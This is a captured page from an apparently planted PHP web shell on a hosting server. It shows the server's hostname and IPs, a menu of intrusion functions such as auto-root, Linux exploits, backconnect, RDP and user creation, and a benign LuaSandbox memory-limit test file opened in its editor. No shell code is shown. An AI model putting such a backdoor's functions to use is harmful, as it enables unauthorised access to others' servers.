Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 18.222.184.18
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
alt /
tests /
alt-php55-pecl-luasandbox_3.0.3-2.el8 /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
LuaSandboxFunction_construct.p...
253
B
-rw-r--r--
array-key-conversion.phpt
3.11
KB
-rw-r--r--
call.phpt
5.19
KB
-rw-r--r--
callback_exception.phpt
480
B
-rw-r--r--
datatypes-unsupported.phpt
2.78
KB
-rw-r--r--
datatypes.phpt
2.53
KB
-rw-r--r--
dump_loadBinary_call.phpt
491
B
-rw-r--r--
errors-at-call-boundaries.phpt
2.07
KB
-rw-r--r--
extending-LuaSandbox.phpt
903
B
-rw-r--r--
ipairs.phpt
1.61
KB
-rw-r--r--
loadString.phpt
422
B
-rw-r--r--
lua_catches_php_exception.phpt
1.43
KB
-rw-r--r--
pairs.phpt
3.39
KB
-rw-r--r--
pcall.phpt
1.36
KB
-rw-r--r--
profiler-sorting.phpt
1.26
KB
-rw-r--r--
profiler.phpt
1.63
KB
-rw-r--r--
reentrant.phpt
1.21
KB
-rw-r--r--
xpcall.phpt
2.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : errors-at-call-boundaries.phpt
--TEST-- Errors at PHP→Lua call boundaries --FILE-- <?php $sandbox = null; // Will be filled in later function doTest( $str, callable $c ) { global $sandbox; echo "$str: "; $sandbox = new LuaSandbox; $sandbox->setMemoryLimit( 100000 ); try { $ret = $sandbox->loadString( 'local f = ...; return f()' ) ->call( $sandbox->wrapPhpFunction( $c ) ); var_dump( $ret ); } catch ( Exception $ex ) { echo "Exception: " . $ex->getMessage() . "\n"; } } doTest( 'LuaSandbox::callFunction', function () { global $sandbox; $sandbox->loadString( 'function foo() return "no error" end' )->call(); return $sandbox->callFunction( 'foo', str_repeat( 'a', 33334 ), str_repeat( 'b', 33334 ), str_repeat( 'c', 33334 ), str_repeat( 'd', 33334 ) ); } ); doTest( 'LuaSandbox::registerLibrary 1', function () { global $sandbox; $sandbox->registerLibrary( str_repeat( 'a', 33334 ), [ 'foo' => function () {} ] ); $sandbox->registerLibrary( str_repeat( 'b', 33334 ), [ 'foo' => function () {} ] ); $sandbox->registerLibrary( str_repeat( 'c', 33334 ), [ 'foo' => function () {} ] ); $sandbox->registerLibrary( str_repeat( 'd', 33334 ), [ 'foo' => function () {} ] ); return [ 'no error' ]; } ); doTest( 'LuaSandbox::registerLibrary 2', function () { global $sandbox; $sandbox->registerLibrary( 'foo', [ str_repeat( 'a', 33334 ) => function () {}, str_repeat( 'b', 33334 ) => function () {}, str_repeat( 'c', 33334 ) => function () {}, str_repeat( 'd', 33334 ) => function () {}, ] ); return [ 'no error' ]; } ); doTest( 'LuaSandboxFunction::call', function () { global $sandbox; return $sandbox->loadString( 'return "no error"' )->call( str_repeat( 'a', 33334 ), str_repeat( 'b', 33334 ), str_repeat( 'c', 33334 ), str_repeat( 'd', 33334 ) ); } ); // HHVM leaks it otherwise, and the warning makes the test fail unset( $sandbox ); --EXPECT-- LuaSandbox::callFunction: Exception: not enough memory LuaSandbox::registerLibrary 1: Exception: not enough memory LuaSandbox::registerLibrary 2: Exception: not enough memory LuaSandboxFunction::call: Exception: not enough memory
Close